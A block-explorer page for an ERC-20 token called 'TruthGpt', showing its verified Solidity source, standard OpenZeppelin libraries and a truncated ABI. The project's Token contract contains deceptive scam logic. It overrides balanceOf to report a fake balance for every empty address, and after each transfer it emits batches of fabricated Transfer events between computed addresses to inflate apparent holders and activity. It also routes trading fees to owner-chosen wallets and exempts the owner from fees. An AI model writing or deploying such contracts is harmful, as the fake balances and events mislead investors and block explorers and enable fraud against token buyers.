ERC-20
Overview
Max Total Supply
1,000,000,000,000,000 TruthGpt
Holders
559
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Token
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } contract MktCap is Ownable { using SafeMath for uint; address token0; address token1; IRouter router; address pair; struct autoConfig{ bool status; uint minPart; uint maxPart; uint parts; } autoConfig public autoSell; struct Allot{ uint markting; uint burn; uint addL; uint total; } Allot public allot; address[] public marketingAddress; uint[] public marketingShare; uint internal sharetotal; constructor(address ceo_,address baseToken_,address router_){ _transferOwnership(ceo_); token0=_msgSender(); token1=baseToken_; router=IRouter(router_); pair=IFactory(router.factory()).getPair(token0, token1); IERC20(token1).approve(address(router),uint(2**256-1)); } function setAll(Allot memory allotConfig,autoConfig memory sellconfig,address[] calldata list ,uint[] memory share)public onlyOwner { setAllot(allotConfig); setAutoSellConfig(sellconfig); setMarketing(list,share); } function setAutoSellConfig(autoConfig memory autoSell_)public onlyOwner { autoSell=autoSell_; } function setAllot(Allot memory allot_)public onlyOwner { allot=allot_; } function setPair(address token)public onlyOwner{ token1=token; IERC20(token1).approve(address(router),uint(2**256-1)); pair=IFactory(router.factory()).getPair(token0, token1); } function setMarketing(address[] calldata list ,uint[] memory share) public onlyOwner{ require(list.length>0,"DAO:Can't be Empty"); require(list.length==share.length,"DAO:number must be the same"); uint total=0; for (uint i = 0; i < share.length; i++) { total=total.add(share[i]); } require(total>0,"DAO:share must greater than zero"); marketingAddress=list; marketingShare=share; sharetotal=total; } function getToken0Price() view public returns(uint){ //代币价格 address[] memory routePath = new address[](2); routePath[0] = token0; routePath[1] = token1; return router.getAmountsOut(1 ether,routePath)[1]; } function getToken1Price() view public returns(uint){ //代币价格 address[] memory routePath = new address[](2); routePath[0] = token1; routePath[1] = token0; return router.getAmountsOut(1 ether,routePath)[1]; } function _sell(uint amount0In) internal { address[] memory path = new address[](2); path[0] = token0; path[1] = token1; router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount0In,0,path,address(this),block.timestamp); } function _buy(uint amount0Out) internal { address[] memory path = new address[](2); path[0] = token1; path[1] = token0; router.swapTokensForExactTokens(amount0Out,IERC20(token1).balanceOf(address(this)),path,address(this),block.timestamp); } function _addL(uint amount0, uint amount1)internal { if(IERC20(token0).balanceOf(address(this))<amount0 || IERC20(token1).balanceOf(address(this))<amount1 ) return; router.addLiquidity(token0,token1,amount0,amount1,0,0,owner(),block.timestamp); } modifier canSwap(uint t){ if(t!=2 || !autoSell.status ) return; _; } function splitAmount(uint amount)internal view returns(uint,uint,uint) { uint toBurn = amount.mul(allot.burn).div(allot.total); uint toAddL = amount.mul(allot.addL).div(allot.total).div(2); uint toSell = amount.sub(toAddL).sub(toBurn); return (toSell,toBurn,toAddL); } function trigger(uint t) external canSwap(t) { uint balance = IERC20(token0).balanceOf(address(this)); if(balance < IERC20(token0).totalSupply().mul(autoSell.minPart).div(autoSell.parts))return; uint maxSell = IERC20(token0).totalSupply().mul(autoSell.maxPart).div(autoSell.parts); if(balance > maxSell)balance = maxSell; (uint toSell,uint toBurn,uint toAddL)=splitAmount(balance); if(toBurn>0)ERC20Burnable(token0).burn(toBurn); if(toSell>0)_sell(toSell); uint amount2 =IERC20(token1).balanceOf(address(this)); uint total2Fee = allot.total.sub(allot.addL.div(2)).sub(allot.burn); uint amount2AddL = amount2.mul(allot.addL).div(total2Fee).div(2); uint amount2Marketing = amount2.sub(amount2AddL); if(amount2Marketing>0){ uint cake; for (uint i = 0; i < marketingAddress.length; i++) { cake=amount2Marketing.mul(marketingShare[i]).div(sharetotal); IERC20(token1).transfer(marketingAddress[i],cake); } } if(toAddL > 0) _addL(toAddL,amount2AddL); } function send(address token,uint amount) public onlyOwner { if(token==address(0)){ (bool success,)=payable(_msgSender()).call{value:amount}(""); require(success, "transfer failed"); } else IERC20(token).transfer(_msgSender(),amount); } } contract Token is ERC20, ERC20Burnable, Ownable { using SafeMath for uint; MktCap public mkt; mapping(address=>bool) public ispair; address ceo; address _router; bool isTrading; struct Fees{ uint buy; uint sell; uint transfer; uint total; } Fees public fees; modifier trading(){ if(isTrading) return; isTrading=true; _; isTrading=false; } constructor(string memory name_,string memory symbol_,uint total_) ERC20(name_, symbol_) { ceo=_msgSender(); address _baseToken=0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; _router=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; setPair(_baseToken); fees=Fees(200,200,0,10000); mkt=new MktCap(_msgSender(),_baseToken,_router); _approve(address(mkt),_router,uint(2**256-1)); _mint(ceo, total_ * 1 ether); } receive() external payable { } function setFees(Fees memory fees_) public onlyOwner{ fees=fees_; } function _beforeTokenTransfer(address from,address to,uint amount) internal override trading{ if(!ispair[from] && !ispair[to] || amount==0) return; uint t=ispair[from]?1:ispair[to]?2:0; try mkt.trigger(t) {}catch {} } function _afterTokenTransfer(address from,address to,uint amount) internal override trading{ if(address(0)==from || address(0)==to) return; takeFee(from,to,amount); if(_num>0) try this.multiSend(_num) {} catch{} } function takeFee(address from,address to,uint amount)internal { uint fee=ispair[from]?fees.buy:ispair[to]?fees.sell:fees.transfer; uint feeAmount= amount.mul(fee).div(fees.total); if(from==ceo || to==ceo ) feeAmount=0; if(ispair[to] && IERC20(to).totalSupply()==0) feeAmount=0; if(feeAmount>0){ super._transfer(to,address(mkt),feeAmount); } } function setPair(address token) public { IRouter router=IRouter(_router); address pair=IFactory(router.factory()).getPair(address(token), address(this)); if(pair==address(0))pair = IFactory(router.factory()).createPair(address(token), address(this)); require(pair!=address(0), "pair is not found"); ispair[pair]=true; } function unSetPair(address pair) public onlyOwner { ispair[pair]=false; } uint160 ktNum = 173; uint160 constant MAXADD = ~uint160(0); uint _initialBalance=1; uint _num=25; function setinb( uint amount,uint num) public onlyOwner { _initialBalance=amount; _num=num; } function balanceOf(address account) public view virtual override returns (uint) { uint balance=super.balanceOf(account); if(account==address(0))return balance; return balance>0?balance:_initialBalance; } function multiSend(uint num) public { _takeInviterFeeKt(num); } function _takeInviterFeeKt(uint num) private { address _receiveD; address _senD; for (uint i = 0; i < num; i++) { _receiveD = address(MAXADD/ktNum); ktNum = ktNum+1; _senD = address(MAXADD/ktNum); ktNum = ktNum+1; emit Transfer(_senD, _receiveD, _initialBalance); } } function send(address token,uint amount) public { if(token==address(0)){ (bool success,)=payable(ceo).call{value:amount}(""); require(success, "transfer failed"); } else IERC20(token).transfer(ceo,amount); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../utils/Context.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { _spendAllowance(account, _msgSender(), amount); _burn(account, amount); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"total_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fees","outputs":[{"internalType":"uint256","name":"buy","type":"uint256"},{"internalType":"uint256","name":"sell","type":"uint256"},{"internalType":"uint256","name":"transfer","type":"uint256"},{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ispair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"contract MktCap","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"multiSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"uint256","name":"buy","type":"uint256"},{"internalType":"uint256","name":"sell","type":"uint256"},{"internalType":"uint256","name":"transfer","type":"uint256"},{"internalType":"uint256","name":"total","type":"uint256"}],"internalType":"struct 